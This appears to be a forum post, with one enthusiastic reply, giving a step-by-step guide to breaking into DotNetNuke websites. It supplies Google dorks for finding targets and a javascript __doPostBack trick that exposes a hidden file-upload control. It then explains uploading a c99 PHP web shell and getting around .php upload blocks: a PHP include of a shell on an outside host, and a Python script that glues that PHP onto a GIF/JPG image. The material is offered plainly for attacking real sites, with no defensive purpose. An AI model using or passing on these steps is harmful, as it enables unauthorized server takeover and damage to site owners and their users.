[tevan]

The DNN method is a very simple way to hack into websites, unlike SQL injection or XSS (Cross-site scripting) it does not require script or command injection.

To implement this method you will need:

Access to the internet
Clipboard
Python
Notepad
A jpg image
A PHP shell in .txt format

That is it

Google Dorks required:

inurl:/tabid/36/language/en-US/Default.aspx
inurl:fcklinkgallery.aspx
inurl:/portals/0

Step One: Use the Google dorks, go to a search result an delete everything in the URL till it looks like http://example.com and then after it paste in Providers/HtmlEditorProviders/Fck/fcklinkgallery.aspx so the link looks like http://example.com/Providers/HtmlEditorP...llery.aspx and if you get to a Link Gallery that has three options, URL, page and file you can hack in. If it is a blank Link Gallery that only says 'use selected URL' it is not hackable.

Step Two: Go to file, select it and wait for the file page to load.

Step Three: Delete the url and enter:

j a v a s c r i p t:__doPostBack(‘ctlURL$cmdUpload’,”)

Without the spaces.

This javascript will make a browse button visible.

Step Four: Click on the browse button, download c99 shell or another PHP shell and upload it. Sometimes uploads of .php files will be blocked.

Step Five: Getting around block

Bypassing .php upload blocks:

Upload your PHP shell to a web host and then make a .php file containing this code:

<?php
include ("http://linktophpshell.com/shell.php");
?>

Then make a full white .gif or .jpg image and make sure the gif/jpg and php file are all in the same directory.

Then make a python script with this coding:

file = open ('nameofgif.gif','rb').read()
file += open ('nameofphpfile.php','rb').read()
open ('newphpfile.php','wb').write(file)

Then run both. It will create a valid .jpg image containing code to execute the php shell. Upload it to the server, scroll to where the .gif/.jpg you uploaded is located on the website and then the php shell control panel will open letting you do whatever you want.

Easy and awesome post. I am going to try it.